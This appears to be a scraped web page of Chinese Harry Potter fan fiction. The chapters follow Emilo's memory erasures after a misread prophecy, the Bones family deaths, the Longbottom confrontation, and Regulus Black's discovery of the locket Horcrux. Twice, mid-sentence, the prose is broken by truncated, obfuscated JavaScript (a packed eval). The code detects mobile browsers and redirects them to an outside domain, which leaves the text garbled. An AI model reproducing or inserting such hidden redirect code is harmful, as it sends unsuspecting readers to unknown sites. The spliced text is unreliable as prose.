埃米洛猛地闭上眼睛,仿佛要将眼前的一切彻底隔绝。他踉跄着后退一步,胃里翻江倒海,一股强烈的呕吐感涌上喉头。他不敢再看那个眼神空洞、茫然四顾的女巫,不敢再看那个瞬间失去所有“生命”痕迹的家。他几乎是逃也似的,快速走出了这扇曾经充满希望、如今只剩一片荒芜的门,他把魔杖对准自己,将星光、衣物、还有那个名为“多萝西”的小女孩儿,连同他自己灵魂的一部分,永远地留在了那片被强行抹去的空白里。 ------ 风暴仍在继续,且愈发暴烈。当埃米洛拖着灌了铅般的双腿回到魔法部的办公室时,门被猛地撞开,阿米莉亚像一颗被狂风卷进来的炮弹般冲了进来。她浑身湿透,头发凌乱地贴在苍白的脸颊上,巫师袍被雨水浸成了沉重的深色,不断向下滴着水,在她脚下迅速积成一小滩。那张素来冷静自持的面孔,此刻被埃米洛从未见过的、近乎扭曲的焦虑和惊慌失措占据。雨水顺着她的发梢、鼻尖滚落,分不清是雨水还是泪水。 “怎么了?!”埃米洛强行压下胸腔里因多萝西一家而翻涌的窒息感。窗外的暴雨疯狂地敲打着玻璃,发出密集的、令人心悸的鼓点。“你今天不是休假么?怎么回来了……” “我叔叔和婶婶不见了!”阿米莉亚的声音嘶哑破碎,眼睛瞪得极大,里面盛满了纯粹的恐惧,“我今天带着苏珊去了霍格莫德……回来之后……房子里就空了!一个人都没有!如果他们只是临时出去,一定会给我留字条或者传讯的!什么都没有!” 她语无伦次,双手无意识地绞着湿透的袍子,“我去了交通司,想追踪魔杖使用痕迹,但是安迪还没到11岁,没有绑定踪丝……我叔叔魔法部的紧急联络徽章根本没带回家!该死的!”她一拳砸在旁边的文件柜上,发出沉闷的响声,淹没在窗外的暴雨轰鸣中。 “跟我走!”埃米洛瞬间理清了事态的严重性,他一把抓住阿米莉亚冰冷湿滑的手腕,触感像握住了一块浸水的寒冰。没有多余的询问,他拉着她就往外冲。走廊里昏暗的灯光在雨幕的映衬下显得更加惨淡。“我有办法帮你!现在立刻去你家,找几样他们最近用过、带着他们气息的东西!越快越好!” 两人冲出魔法部,外面的世界已被灰黑色的暴雨幕布完全笼罩。能见度极低,雨水像鞭子一样抽打在脸上,生疼。他们顶着狂风暴雨艰难地幻影移形,下一秒,出现在博恩斯家寂静得可怕的客厅里。屋外是震耳欲聋的雨声,屋内却是一片死寂的真空,冰冷异常。阿米莉亚像疯了一样冲进各个房间,很快抓来了她叔叔常用的一条深色领带、婶婶放在梳妆台上的一支口红、还有被小堂弟安迪霸占得绒毛都有些塌陷的旧泰迪熊。 “然后呢?”她喘息着,将三样东西紧紧抱在胸前,仿佛那是最后的救命稻草,雨水顺着她的头发滴落在熊玩偶上。 “握紧我的手!”埃米洛快速说道,声音在暴雨的背景音下显得格外清晰。他带着阿米莉亚再次发动幻影移形,这一次的目的地是他自己那间公寓。 顾不上换掉湿透的鞋袜,冰冷的水渍在地板上洇开。埃米洛径直冲到书桌前,果断念了一串咒语,拉开一个隐蔽的暗格,从里面抽出一张泛着羊皮光泽的空白地图,上面隐约有暗金色的纹路流动。 “这是什么?”阿米莉亚看着地图,声音因寒冷和担忧而微微发抖。窗外的暴雨声是此刻唯一的背景音,敲打着两人紧绷的神经。 “利用血缘魔法做成的寻踪地图。”埃米洛简短地解释,语速飞快。他一把抓住阿米莉亚冰冷的手,另一只手拿起桌上一把用于拆信的小银刀,在她指尖迅速划开一道小口。鲜红的血珠涌出,被他引导着滴落在空白的羊皮纸上。血液如同被海绵吸收般瞬间消失,地图上的纹路似乎亮了一瞬。 紧接着,埃米洛的魔杖精准而快速地依次点过那条领带、那支口红和那只湿漉漉的泰迪熊。“气息溯源!”杖尖亮起微光,三缕几乎看不见的、带着个人印记的气息被强行抽取出来,如同被无形的丝线牵引,也被地图贪婪地吸收进去。 “等一等。”埃米洛的声音低沉,带着一种不容置疑的凝重,他将地图平铺在桌面上。公寓里只剩下窗外狂暴的雨声和两人急促压抑的呼吸声。墙上的挂钟“咔哒、咔哒”地走着,每一秒在暴雨的喧嚣和内心的煎熬下都被无限拉长,沉重得令人窒息。 终于,地图表面如同水波般荡漾开来,三个清晰的、小小的光点浮现出来,汇聚在代表北部山区的一片复杂等高线之中。 “找到了!”阿米莉亚眼中瞬间爆发出狂喜的光芒,几乎要跳起来,湿漉漉的脸上第一次有了血色,“我们走!快!去找人!立刻通知傲罗办公室……”她转身就要冲向门口,仿佛那狂暴的暴雨也无法阻挡她。 “不……”埃米洛的声音艰涩得像砂纸摩擦,沉重地压过了窗外的雨声。他死死盯着地图上那三个光点,嘴角绷紧了。“不用找人了。” 阿米莉亚的动作僵住了,慢慢转回头,脸上的血色褪得干干净净,比窗外的雨幕还要苍白。“……为什么?”她的声音轻飘飘的,带着不敢置信的颤抖。 埃米洛没有看她,只是缓缓地,带着一种近乎残忍的冷静,将地图翻转过来。地图的背面,用清晰的字迹标注着: 绿色——健康;红色——致命危险;灰色——死亡。 地图上,那三个代表着埃德加·博恩斯夫妇和他们幼子安迪的光点,是刺目的、毫无生气的灰。 “不——!!!”一声凄厉到变调的尖叫撕裂了公寓里压抑的空气,瞬间又被窗外更猛烈的暴雨声吞没。阿米莉亚像是被抽走了所有骨头,整个人瘫软下去,重重地滑倒在冰冷潮湿的地板上。她蜷缩起来,双手死死抓住胸口的衣襟,仿佛那里有一个巨大的、无法填补的空洞,要将她彻底吞噬。 “冷静一下,阿米莉亚。”埃米洛将手臂放在她的肩膀上,苍白的安慰着。 “我……我该阻止他的……我早就该想到……”她语无伦次地哭喊着,泪水混着头发上滴落的雨水,在地板上洇开深色的痕迹。“果然……神秘人找到他们了……他还是知道了叔叔他们是保密人……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063459|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “保密人?”埃米洛抓住了这个关键词,窗外的雨声似乎变成了某种不祥的预兆。 “是啊……保密人……”阿米莉亚抬起头,脸上是破碎的绝望,“神秘人根本不是在无差别地清洗所有有孩子的家庭……他是有目标的……精准的目标……”她深吸一口气,试图平复,声音却抖得不成样子,“因为……你还记得布德罗里克临死前的话么?因为一个预言……” 我知道。埃米洛的心声在暴雨的轰鸣中冰冷地响起。七月出生的孩子,会拥有打败黑魔王的力量…… “抗争过三次黑魔王的家庭会在七月诞生一个孩子,这个孩子拥有打败黑魔王的力量。” 阿米莉亚的声音与他的心声诡异地重叠在一起,但又多出了他不知道的一部分。 紧接着,阿米莉亚继续吐露道:“这个家庭是隆巴顿夫妇!”她的声音里充满了彻底的崩溃,“黑魔王在疯狂地找他们!我叔叔……埃德加……他觉得不能让一个无辜的孩子来承担整个战争的重量!这太荒谬,太沉重了!所以……所以他主动站出来,将隆巴顿夫妇用赤胆忠心咒保护了起来!他成了他们的保密人!” 阿米莉亚艰难地吞咽了一下,喉结滚动,仿佛咽下的是带血的玻璃渣。“那个孩子,那个预言中的孩子……现在也确实出生了。”她的眼神空洞地望向窗外的雨幕,“我知道我知道我应该把这件事告诉司长……告诉所有人……也许,也许交出这个信息,战争就能早点结束……神秘人的目标就明确了,其他人就安全了……但是……”她的声音陡然拔高,充满了痛苦和自我憎恶。 “我犹豫了!一直犹豫到今天!我也许是不想让我叔叔的努力变得毫无意义!也许只是逃避!也许我心里也不想让小孩子去承受这些,所以我自欺欺人,我安慰自己说没事的,不会这么巧……直到今天……直到他们……” ……前置条件不止一个! 埃米洛感觉自己的耳膜也在一起轰鸣,仿佛窗外所有的惊雷都炸响在他的颅腔里。七月出生……父母一起直面过三次黑魔王!这两个严苛的条件叠加,才是预言指向的“可能之子”! 相当于什么? 他感觉自己的心脏瞬间被冻结,比这场倾盆的、冰冷的暴雨还要冷上千百倍——他弄错了!他擅自扩大了那个致命预言的范围!那些……那些其他在七月出生的孩子,那些被他亲手标记、被他主导的保护计划推向死亡深渊的无辜婴儿……是他!是他亲手将他们送上了食死徒的绞刑架!就在刚刚。就在刚刚,他亲手抹去最后一个孩子的存在。 我都做了什么?!埃米洛猛地低头看向自己的双手,那双手刚刚施展了抹去记忆的魔法,那双手仿佛还残留着多萝西摇篮边那虚假星光的冰冷触感。而现在,这双手上仿佛沾满了看不见的、粘稠的鲜血。窗外的暴雨声变成了无数亡魂的哭嚎,狠狠冲刷着他的耳膜和灵魂。 悔恨如同冰冷的毒蛇噬咬着他的心脏。如果他当初再深思熟虑一些,再多考虑一下预言的限制条件是否太过于宽泛……他是不是就能救下他们?或者说,在那个审讯室,他就该不顾一切地直接公布出来,这样也许就会有人质疑,他可能就能名正言顺地去审讯埃弗里的大脑,多看到一些关键细节。这样阿米莉亚就也会知道他也知道了预言,两个人就不存在这样致命的信息差!!或者说,他如果多问阿米莉亚一句:“你到底怎么了?为什么这么焦虑?”事情便又会不同……无数的“如果”像冰锥一样刺穿他的思绪。 “其实……其实我已经预料到他们死了……” 阿米莉亚继续用破碎的声音说着,眼神空洞地望着天花板,雨水顺着她的发梢滴落在地板上,发出微弱的“嗒、嗒”声。“因为,因为就在刚才,在我的大脑里突然,突然出现了隆巴顿一家的位置……清晰无比……” 她抬起颤抖得如同风中秋叶的手,摸索着从旁边的废纸堆里抓过一张羊皮纸碎片和一支断头的羽毛笔,用尽全身力气,歪歪扭扭地写下一个地址。她的动作僵硬而绝望,每一个字母都像是用刀刻出来的。 她把那张写着地址的纸片推给埃米洛看,眼神里充满了挣扎和痛苦。然而,就在埃米洛看清地址的下一秒,阿米莉亚像是被烫到一样,猛地将纸片抓回,发疯般地撕扯着,瞬间将它撕成了无数细小的碎片!白色的纸屑如同被狂风吹散的雪花,纷纷扬扬地飘落在潮湿的地板上,又被她身上滴落的雨水打湿、黏住。 “……你仍然在犹豫。”埃米洛悲伤的看着她。 “……是的。”阿米莉亚咧开嘴,露出一个比哭还要难看百倍的笑容,泪水却如断线的珠子般汹涌滑落,滴在那些湿透的纸屑上。 “我已经没法做出公正的选择了……我的心里可能早就背叛了巫师界……背叛了所谓的‘大局’……背叛了法律执行司和自己的初衷。我只想……只想……我不想做那个拉动电车闸阀的人……”她泣不成声,肩膀剧烈地耸动着,整个人缩成一团,被巨大的悲痛和负罪感彻底击垮。 “我现在是巫师界最大的罪人了。” 不。埃米洛也扯出了一个极其难看的笑容,苦涩得如同吞咽了最苦的胆汁,我才是……我才是一切的罪魁祸首。 他当时害怕说出预言会被食死徒追杀,所以他闭嘴了,然后自以为聪明的,借着小巴蒂·克劳奇的口,把预言告诉了巴蒂·克劳奇……鲁莽,冲动。 因为他的自私,他的怯懦,他的误判,那些孩子,那些傲罗们白白牺牲了! 令人窒息的沉默在狭小的公寓里蔓延,只有窗外渐渐沥沥的雨声和阿米莉亚压抑的啜泣。过了仿佛一个世纪那么久,阿米莉亚仿佛用尽了最后一丝力气,声音微弱而沙哑:“对不起,埃米洛。”这句话,和布德罗里克对伯莎说的一模一样。“让你一同承担这些……” 该说对不起的明明是我。埃米洛感觉自己嘴唇嗡动,一句话都说不出来。他起身,走向厨房。很快便端着一杯热气腾腾、散发着浓郁香气的咖啡回来,里面被他不动声色地加入了足量的生死水。将杯子塞进阿米莉亚冰冷颤抖的手中。 “先喝点热的吧。”他终于找回了自己的声音,语气近乎是温和的。 身心俱疲、毫无防备的阿米莉亚顺从地喝了下去。药效发作得极快,她的眼神迅速涣散,身体软软地倒向沙发,沉重的眼皮再也支撑不住,陷入了深沉的、无梦的昏睡。脸上残留的泪痕在昏暗的光线下闪着微光。 埃米洛静静地站在沙发旁,看着她在药物作用下安静下来的面容,只有窗外持续的雨声陪伴着他。然后,他缓缓抽出了魔杖。杖尖亮起柔和却坚定的光芒,他小心翼翼地将魔杖尖端轻轻抵在阿米莉亚的太阳穴上。一缕银白色的、纤细如发丝的记忆丝线被缓缓牵拉出来,在昏暗的房间里闪烁着微弱的光芒。 他屏住呼吸,如同进行最精密、最危险的手术,无痕地、一点一点地,将那部分涉及到预言核心、涉及到她叔叔是保密人、涉及到隆巴顿夫妇具体地址的记忆片段,精准而彻底地剥离出来。 他不能让阿米莉亚背负这个秘密,不能让她承受泄露与否的永恒煎熬,不能让她在“公正”与“亲情”的炼狱里继续撕裂自己。他犯下的罪孽,他扩大的灾祸,应该由他来承担后果。 总得有人来做这些事情……为了所谓多数人的利益,为了这场该死的战争早点结束,为了那些因为我而死去的孩子们…… 他切断了那缕银丝,看着它在空气中消散无踪。他俯下身,给阿米莉亚盖了一条毯子: “睡一觉吧,阿米莉亚,这样睡一觉醒来,你还会是那个公正的、忠于职守的女巫。” 恶人只需要我一个人做就好了,那个闸阀也由我一个人拉动就可以了。 他最后看了一眼地板上那些被雨水浸透、字迹模糊的纸屑。那个地址——隆巴顿一家的藏身之处——已经清晰地烙印在他的脑海里,如同一个滚烫的烙印。 窗外的暴雨,依旧不知疲倦地冲刷着这个冰冷而残酷的世界。他拿着魔杖走了出去,消失在了雨水之中。 28.爱难以磨灭 伯恩斯一家的葬礼,是埃米洛参加的第一个葬礼。空气里弥漫着湿润的泥土气息和花的淡香,天空是压抑的铅灰色,厚重的云层低垂。阿米莉亚站在队伍最前列,穿着一身剪裁利落、不染一丝杂色的黑裙,头上蒙着庄严肃穆的黑色蕾丝头纱,将她苍白的脸和红肿的眼睛半掩在阴影里。她像一尊被悲痛冻结的雕像,嘴唇无声地翕动,念着那些承载哀思的古老祷词。 埃米洛抱着不到一岁的苏珊,沉默地站在悼念队伍的最末尾。小女孩在他怀里睡得并不安稳,偶尔发出细弱的嘤咛,小小的拳头紧攥着他胸前冰凉的衣襟。他的目光扫过前面黑压压的人群,大部分是魔法部的同事,面孔肃穆,带着公式化的哀戚。还有少部分他不认识的面孔,大约是博恩斯家的远亲或旧友。他的视线没有过多停留,而是越过人群,投向不远处一处被低矮灌木环绕的小山坡。 那里静静伫立着四个人。其中那对年轻的夫妇——弗兰克·隆巴顿和爱丽丝·隆巴顿——几乎在埃米洛望过去的瞬间就捕捉到了他的目光。弗兰克的反应迅捷而充满保护欲,几乎是下意识地侧身将妻子护在身后,眼神锐利如鹰隼,充满了审视和尚未完全消弭的警惕。爱丽丝却轻轻按住了丈夫紧绷的手臂,固执地摇了摇头。她苍白憔悴的脸上没有怨恨,只有一种深沉的疲惫和某种难以言喻的复杂情绪。隔着湿润的空气和葬礼的肃穆,她无声地对埃米洛翕动嘴唇,清晰地传递出两个字:“谢谢。”她身后站着那位须发皆白、穿着同样深色长袍的老人——阿不思·邓布利多。那双在霍格沃茨礼堂年复一年注视过无数学生的湛蓝色眼睛,此刻也穿透了距离,平静地落在埃米洛身上。 埃米洛迅速收回了目光,仿佛被那无声的的注视烫到。他将脸微微埋低,下颌几乎触碰到苏珊柔软的发顶。 葬礼冗长的仪式终于结束,人群开始低声交谈着散去。埃米洛默默走到埃德加·博恩斯光洁冰冷的墓碑前。他弯下腰,将手中一束素白的花轻轻放下,花瓣上凝结的水珠滚落,渗入新翻的泥土。 身边悄无声息地多了一个人。来人身上带着一丝难以察觉的、属于复方汤剂的淡淡草药和泥土混合的怪异气味,易容成一张平凡得引不起任何注意的脸。 “教授。”埃米洛没有转头,目光依然停留在墓碑上镌刻的名字上。 “谢谢你,孩子。”邓布利多的声音透过复方汤剂带来的伪装,依然温和而清晰,带着一种穿透时光的力量。他同样弯腰,放下一束鲜嫩的雏菊,小小的黄色花朵在肃杀的黑白背景中显得格外脆弱又充满生机。 埃米洛的思绪瞬间被拉回那个暴雨如注的夜晚。记忆里充斥着震耳欲聋的雷声、瓢泼冰冷的雨水,以及隆巴顿家前院泥泞空地上爆发的激烈战斗。他出其不意地击晕了弗兰克,以为爱丽丝会更容易对付,却低估了一位母亲守护幼崽时所能爆发出的惊人力量。魔咒的光芒撕裂雨幕,爱丽丝紧紧搂着襁褓中的纳威,那双曾经温和的眼睛燃烧着不顾一切的火焰,嘶喊声几乎盖过雷鸣:“休想伤害我的孩子!——” 战斗激烈而短暂,埃米洛最终抓住了爱丽丝因他胳膊上喷涌的鲜血而瞬间愣神的空隙,一记精准的手刀劈在她颈后。然而,当他抱起那个在襁褓中沉睡、对即将降临的命运一无所知的婴儿,准备幻影移形离开时,却发现周围的空气如同凝固的胶水——反幻影移形咒早已无声无息地笼罩了这里。雨幕中,邓布利多不知何时出现,他的蓝眼睛在闪电的映照下,锐利得如同穿透灵魂的利剑。 “别说谢谢。”埃米洛的声音在回忆与现实重叠的此刻,显得异常冰冷,带着拒人千里的疏离,“如果不是那个预言还有后半段……那天,就算跟你同归于尽,我也会把小隆巴顿送到黑魔王面前。” 他闭上眼睛,邓布利多告诉他的,带着宿命诅咒的预言,再次一字一句地在他脑海中清晰回响: “拥有征服黑魔头能量的人走近了……出生在一个曾三次击败黑魔头的家庭,出生于第七个月的月末……黑魔头标记他为其劲敌,但是他拥有黑魔头所不了解的能量……一个必须死在另一个手上,因为两个人不能都活着,只有一个生存下来……” 这算是什么预言?埃米洛的嘴角勾起一丝苦涩的弧度。 列车驶向那一个人就可以拯救大家么?不是……预言给人希望,让人误认为拉动闸阀就可以只牺牲一个人救五个人,殊不知这种希望本来就是悬乎的,只有1/2的概率。 两个人不能都活着,只有一个能生存下来…… 这也许就是群体意志分裂的结果,巫师界希望神秘人死的和平意志仍然不算多,这希望从根上就是烂的。所谓的“救赎”不过是命运递来的一枚硬币,正面刻着“拯救”,反面刻着“失败”,抛出去的瞬间,概率永远是冰冷的二分之一。谁也说不清那预言究竟指向哪一面,或许从一开始,它就没想给出答案。 “我替那活下来的七个孩子感谢你,埃米洛。”邓布利多的声音将他从冰冷的思绪中拉回,那双蓝眼睛里的温和如同试图融化坚冰的阳光。 “那是您拦下来的,跟我一点关系也没有。”埃米洛飞快地反驳,语气生硬,像是在极力撇清某种他不配沾染的光环,“我差点酿成大祸,亲手把他们推入深渊。即便他们现在活了下来……”他的声音低沉下去,带着一种深入骨髓的疲惫和负罪感,“我还是杀死了他们的一部分……” 邓布利多沉默了片刻,目光深沉地注视着埃米洛绷紧的侧脸,仿佛看透了他内心翻涌的自我审判。他最终只是轻叹一声: “孩子,你要知道爱是世界上最不容易被别人杀死的东西。” “……别安慰我了,教授。”埃米洛朝他躬身:“我还有事,先一步离开了。” 邓布利多看着他的背影,不,还有一点,我应该感谢你。他在心里想道,但这一点你永远都不会知道了……隆巴顿夫妇新的保密人。 老校长回忆起了那天晚上,一切结束后,在霍格沃茨校长室里那场只有壁炉噼啪作响作为背景音的谈话。 “现在隆巴顿夫妇怎么办?”他听到年轻的魔法部职员这么问自己,声音是冷静的,“所有曾经见过他们的人,都自动成为了新的保密人。以食死徒安插间谍的数量和质量……他们暴露只是时间问题。” “我们会把他们转移到更安全的地方去。然后……重新设置保密人。”邓布利多的目光透过半月形镜片看着他。 炉火安静地燃烧着。埃米洛沉默了许久,仿佛灵魂沉入了无边的深海。最终,他抬起头,眼神里是一种近乎破罐破摔的疲惫和决绝。 “那么不如……我来吧。”他叹息一声,声音轻得像羽毛落地,“如您所说,凤凰社现在内部分歧严重,不是么?您就该狠心一点……用一个完完全全的局外人。”他扯出一个极其短暂、充满自嘲意味的笑容,“我来做这个保密人,算是为我险些酿成的大祸,支付一点微不足道的赎罪券吧。” 他停顿了一下,抬手,指尖轻轻点了点自己的太阳穴:“教授……您可以信任我,因为最好的保密方式,其实是遗忘。彻底的遗忘。” 离开葬礼现场,埃米洛没有直接回家。他来到了多萝西家的外围。夜色渐沉,天空又开始飘起冰冷的细雨,如同细密的针尖扎在皮肤上。他隐在街角的阴影里,像一个幽灵般窥视着那扇透出温暖灯光的窗户。 即使已经抹除了自己这段记忆,但埃米洛从七个家庭记忆中的“切口”中,清晰地辨认出了自己的手法,还原了前一段时间他的所作所为。 他亲手抹去了两个家庭关于亲生骨肉的全部记忆……虽然邓布利多最终拦下了克劳奇,克劳奇也编造了“遭遇食死徒袭击导致失忆”的官方说辞,将孩子们送了回去。 ……但这仍然是我的罪。无可辩驳,无法洗刷。 窗户里,那位曾经怀着满腔爱意为未出世的孩子亲手缝制玩具、编织星星灯、准备每一件带着恒温咒的小衣服的母亲,此刻正有些手足无措地抱着多萝西。 婴儿身上某些与父母相似的特征似乎在无声地证明着血缘,但那些十月怀胎的期待、分娩的痛苦与狂喜、初次拥抱时的战栗……那些构成“母爱”最核心的、毫不犹豫的激情与确认感,消失了。 埃米洛看到她拿起那个曾经挂满期待的星星灯,犹豫地打开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065380|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又关上,最终似乎下定了某种决心,重新将它挂在了婴儿床的上方。但那动作里,多了一丝茫然和尝试性的摸索。她的表情,她的每一个细微的肢体语言,都像一把把烧红的钝刀,反复切割着埃米洛的神经。 多萝西本来应该得到一份毫不犹豫的爱的。 而他,亲手剐去了这些东西。如果真有梅林在天上进行审判,他早已罪无可赦。邓布利多说“你救了他们的生命”,但埃米洛想,如果爱无法重新生长回来,如果那份源自血脉的、无条件的确认感永远缺失,那么这种“活着”,与死亡又有何异?甚至比死亡更残忍。 一种强烈的倾诉欲和渴望被审判的冲动攫住了他。他想找个人聊聊,哪怕只是听对方酣畅淋漓地辱骂自己一场,或者被狠狠地揍一顿,他绝对不会还手。他渴望那种来自外界的、明确的惩罚,能稍微缓解一点内心永无止境的自我鞭笞。然而现实冰冷而讽刺——没有任何人审判他。克劳奇甚至因为他“高效”地处理了记忆清除和后续“安抚”工作,给他又升了一级官职。 升职通知送达的那天,埃米洛推掉了所有同事或真或假的祝贺和酒会邀请。天色阴沉得如同葬礼那天,空气中酝酿着一场更大的暴雨。他早早地回到自己那间冰冷、空荡的公寓。没有开灯,他径直走到书房那面巨大的书架前。沉默地在阴影里站了片刻,他伸手,从一个隐秘的抽屉深处,摸出了一把样式古旧、泛着金属冷光的黄铜钥匙。 钥匙插入锁孔的声音在寂静中格外清晰。他几乎是麻木地、用尽全身力气,拧开了那扇隐藏在厚重书架后的、尘封已久的房门。 门轴发出令人牙酸的“吱呀”声,门被缓缓推开一条缝隙。昏黄的光线从门缝里透出,照亮了空气中漂浮的微尘,也照亮了房间里那张简陋单人床上坐着的人影。 那是一个微胖的中年男人,或者说,他的年龄本应是中年,但整个人散发出的气息却已如垂暮老人般衰败、萎靡。一条空荡荡的裤管被仔细地挽起,固定在臀部下方。他的头发花白稀疏,脸上刻着深重的、疲惫的皱纹。 “你……你回来啦……”男人粗糙沙哑的声音响起,带着一种近乎卑微的小心翼翼和讨好,像怕惊扰了什么。他努力想挤出一个笑容,却只牵动了嘴角僵硬的肌肉。埃米洛的目光不受控制地滑向他缺失的下肢,那里只剩下一个用厚布包裹着的残端。 “你饿不饿?我给你做点吃的吧。”男人说着,笨拙地用手臂撑着身体,挪到床边的旧轮椅上。他推着吱嘎作响的轮椅,艰难地滑过狭窄的空间,从埃米洛身边经过,搓着布满老茧和油污的粗糙手掌,眼神躲闪着不敢直视埃米洛。 罗杰·德蒙特。埃米洛曾经以为,自己每次正视这个父亲时,心中翻涌的只会是永恒的烦躁、刻骨的痛恨和冰冷的讥讽——为了他懦弱的过去,为了他导致母亲艾莲娜的卧床不起,为了他留给自己的、那个需要用无数金钱去填补的深渊。 然而,就在此刻,当埃米洛的目光追随着那个佝偻的、在轮椅上显得格外渺小脆弱的背影时,那些盘踞心头多年的激烈情绪,竟像被一阵突如其来的狂风吹过,瞬间散得无影无踪。只剩下一种巨大的、空洞的、近乎麻木的疲惫。 他看着罗杰吃力地推着轮椅来到狭小的厨房区域,看着他笨拙地弯腰,去够放在低处柜子里的面粉袋子,看着他因为失去平衡而摇晃的身体,看着他艰难地抬手,伸长胳膊去够上方橱柜里的碗碟,那花白的头发在昏暗的灯光下刺眼地晃动着…… 正面总是麻木,总是痛恨,总是讥讽。而背影就又是回忆,又是无奈,又是五味陈杂。 埃米洛飞速的皱眉,也飞速的擦拭掉了他觉得莫名其妙的眼泪。 “不用做了,”他的声音响起,平静得像一潭死水,听不出任何波澜,“我不饿。”他上前一步,伸手替罗杰关上了那个他够得十分吃力的柜门。 “我一会儿去圣芒戈,”他顿了顿,目光望向窗外,那里,酝酿已久的暴雨终于倾盆而下,密集的雨点猛烈敲打着玻璃,发出沉闷而持续的轰鸣,“你也走吧,我们去看看艾莲娜。” “她可能……没多少日子了。” 29.狮子的心脏 冰冷的空气凝固在雷古勒斯·布莱克的房间里。厚重的天鹅绒窗帘隔绝了伦敦灰蒙蒙的天光,只留下壁炉里奄奄一息的炭火在墙上投下摇曳不安的暗影。他的门紧紧锁住,门栓上那块古旧的黄铜牌子被刻意翻到了写着“未经本人允许禁止入内,包括家养小精灵。”的一面。 雷古勒斯从凌乱的梦中惊醒,拿过时钟看了一眼日期,11月3日。 小天狼星的二十二岁生日…… 他仰面躺在床上,身体陷在昂贵的埃及棉床单里,却感觉不到丝毫舒适。 思绪像无数条冰冷的毒蛇,在他疲惫不堪的脑海里疯狂扭动、噬咬——黑魔王、食死徒、挂坠盒、父亲的死亡、母亲尖利的声音……然而,所有这些汹涌的念头最终都汇入一片深不见底的倦怠之海。 他累极了,累得连眼泪都流不出来,眼眶干涩得像被砂纸磨过。一种深入骨髓的寒冷包裹着他,仿佛心脏这个孱弱的泵再也无法将温热的血液输送到冰冷的四肢末端。他尝试着微微坐起,仅仅是这样一个微小的动作,胸膛里那个器官便又像受惊的困兽般在胸腔里猛烈地、不规则地撞击起来,眼前瞬间炸开一片令人晕眩的黑暗金星。 他认命般的躺了回去。隔着柔软棉絮的阻隔,能清晰地“感觉”到那东西的存在——斯莱特林的挂坠盒。它此刻正散发着一种诡异的、持续的温热,如同一个寄生在黑暗中的、搏动着的邪恶生命体。 这个挂坠盒是黑魔王一年前赐予他的,也许本意是给埃弗里的……但埃弗里现在已经死了,死于他的堂兄罗齐尔和卢修斯·马尔福联手铺设的通往权力核心的血腥阶梯之下。他们为了给他铺路,设计杀死了埃弗里。 食死徒的核心圈子表面上是黑魔王意志的延伸,内里却是一个相互撕咬、吞噬的角斗场。黑魔王从不制止,他纵容,甚至煽动这场永无止境的内斗,用古老的法器、堆积如山的金加隆、失传的禁忌咒语作为诱饵,看着他们像鬣狗一样为了残羹冷炙争得你死我活。这个挂坠盒,就是他在那片污秽泥沼中,踩着别人的尸骨,在算计与背叛的夹缝里,“赢”得的奖赏。萨拉查·斯莱特林的遗物,对任何斯莱特林而言,这都是无上的荣光,是血脉与野心的终极证明。 然而,雷古勒斯·布莱克知道真相。这荣光的表皮之下,包裹着无法言喻的邪恶内核。它不是宝物,而是诅咒,是锁链,是…… 魂器。 这个词汇像冰锥一样刺穿他的意识。他猛地深吸一口气,下意识地将自己更深地蜷缩进床铺的角落,像是要把整个身体都藏进墙壁的阴影里。 起初只是模糊的疑虑,但随着他偷偷查阅布莱克家族最隐秘的藏书,用尽所学施展一个又一个危险的检测魔法,再结合黑魔王那些关于“超越死亡”、“永恒存在”的、带着狂热暗示的低语……所有的线索都冰冷而确凿地指向了这个结论。只要这东西存在,只要里面囚禁着那片被谋杀的、最无辜的灵魂所撕裂的碎片,黑魔王就近乎于不死。 “魂器制作需要比不可饶恕咒还恶毒的恶意……”书页上那些扭曲的字迹在他眼前浮现,“……谋杀,谋杀最纯洁无辜的灵魂……” “叩叩。” 突兀的敲门声猛地切断了几乎要将他溺毙的思绪。 身体先于意识做出了反应。雷古勒斯从床上弹射起来。剧烈的眩晕再次袭来,他不得不死死抓住冰冷的床柱才勉强站稳。与此同时,他的双手却像被设定好的精密仪器,条件反射般地抚平了昂贵丝绸衬衫上每一丝可能存在的褶皱,将那份深入骨髓的、属于布莱克的高雅重新贴在身上。 “进。”他的声音干涩沙哑,如同砂砾摩擦。 门无声地滑开一条缝,家养小精灵克利切那颗布满褶皱的大脑袋探了进来,灯泡般的大眼睛里盛满了担忧和卑微的忠诚。“雷古勒斯少爷,”他尖细的声音带着乞求,“女主人……女主人让克利切来请您下楼用午餐。” 午餐?雷古勒斯下意识地抚上自己平坦得近乎凹陷的胃部。那里空空如也,却感觉不到一丝饥饿,他恍惚觉得自己才刚刚才咽下早餐。 他强迫自己离开床铺的庇护,脚步虚浮地走向门口。推开房门的瞬间,格里莫广场12号那特有的、混合着古老木料、灰尘、樟脑和一丝若有若无霉变的阴冷气息扑面而来。楼梯两侧墙壁上,布莱克家族长老们的画像一言不发的注视着他,一双双眼睛随着他的动作从左看到右,带着世代积累的傲慢与冷漠,像是许多阴嗖嗖的幽灵。一种前所未有的不适感刺穿了他——他感觉自己终于触摸到了小天狼星当年的描述,被“家族荣耀”活埋的感觉。 餐厅里,光线更加昏暗。 “母亲。”他礼数周全的朝着沃尔布加点头,坐在了暗绿色天鹅绒布的椅子上。餐桌是黑木,上面摆放着银质的刀叉,他机械的开始铺餐巾。克利切把暗红色的酒倒进玻璃杯里。 呕…… 